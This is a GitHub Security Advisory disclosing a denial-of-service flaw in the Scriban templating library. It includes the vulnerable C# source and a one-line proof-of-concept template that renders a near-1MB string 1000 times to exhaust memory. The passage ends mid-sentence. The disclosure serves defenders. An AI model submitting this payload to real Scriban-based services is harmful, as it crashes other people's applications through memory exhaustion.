GitHub Security Advisory: GHSA-m2p3-hwv5-xpqw
Package: Scriban (NUGET)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 7.0.0
Patched in: 7.0.0

Summary: Scriban: Denial of Service via Unbounded Cumulative Template Output Bypassing LimitToString

Details:
## Summary

The `LimitToString` safety limit (default 1MB since commit `b5ac4bf`) can be bypassed to allocate approximately 1GB of memory by exploiting the per-call reset of `_currentToStringLength` in `ObjectToString`. Each template expression rendered through `TemplateContext.Write(SourceSpan, object)` triggers a separate top-level `ObjectToString` call that resets the length counter to zero, and the underlying `StringBuilderOutput` has no cumulative output size limit. An attacker who can supply a template can cause an out-of-memory condition in the host application.

## Details

The root cause is in `TemplateContext.Helpers.cs`, in the `ObjectToString` method:

```csharp
// src/Scriban/TemplateContext.Helpers.cs:89-111
public virtual string ObjectToString(object value, bool nested = false)
{
    if (_objectToStringLevel == 0)
    {
        _currentToStringLength = 0;  // <-- resets on every top-level call
    }
    try
    {
        _objectToStringLevel++;
        // ...
        var result = ObjectToStringImpl(value, nested);
        if (LimitToString > 0 && _objectToStringLevel == 1 && result != null && result.Length >= LimitToString)
        {
            return result + "...";
        }
        return result;
    }
    // ...
}
```

Each time a template expression is rendered, `TemplateContext.Write(SourceSpan, object)` calls `ObjectToString`:

```csharp
// src/Scriban/TemplateContext.cs:693-701
public virtual TemplateContext Write(SourceSpan span, object textAsObject)
{
    if (textAsObject != null)
    {
        var text = ObjectToString(textAsObject);  // fresh _currentToStringLength = 0
        Write(text);
    }
    return this;
}
```

The `StringBuilderOutput.Write` method appends unconditionally with no size check:

```csharp
// src/Scriban/Runtime/StringBuilderOutput.cs:47-50
public void Write(string text, int offset, int count)
{
    Builder.Append(text, offset, count);  // no cumulative limit
}
```

**Execution flow:**
1. Template creates a string of length 1,048,575 (one byte under the 1MB `LimitToString` default)
2. A `for` loop iterates up to `LoopLimit` (default 1000) times
3. Each iteration renders the string via `Write(span, x)` → `ObjectToString(x)`
4. `ObjectToString` resets `_currentToStringLength = 0` since `_objectToStringLevel == 0`
5. The string passes the `LimitToString` check (1,048,575 < 1,048,576)
6. Full string is appended to `StringBuilder` — no cumulative tracking
7. After 1000 iterations: ~1GB allocated in-memory

## PoC

```csharp
using Scriban;

// Uses only default TemplateContext settings (LoopLimit=1000, LimitToString=1048576)
var template = Template.Parse("{{ x = \"\" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }}");
// This will allocate ~1GB in the StringBuilder, likely causing OOM
var result = template.Render();
```

Equivalent Scriban template:
```scriban
{{ x = "" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }}
```

Each of the 1000 loop iterations outputs a 1,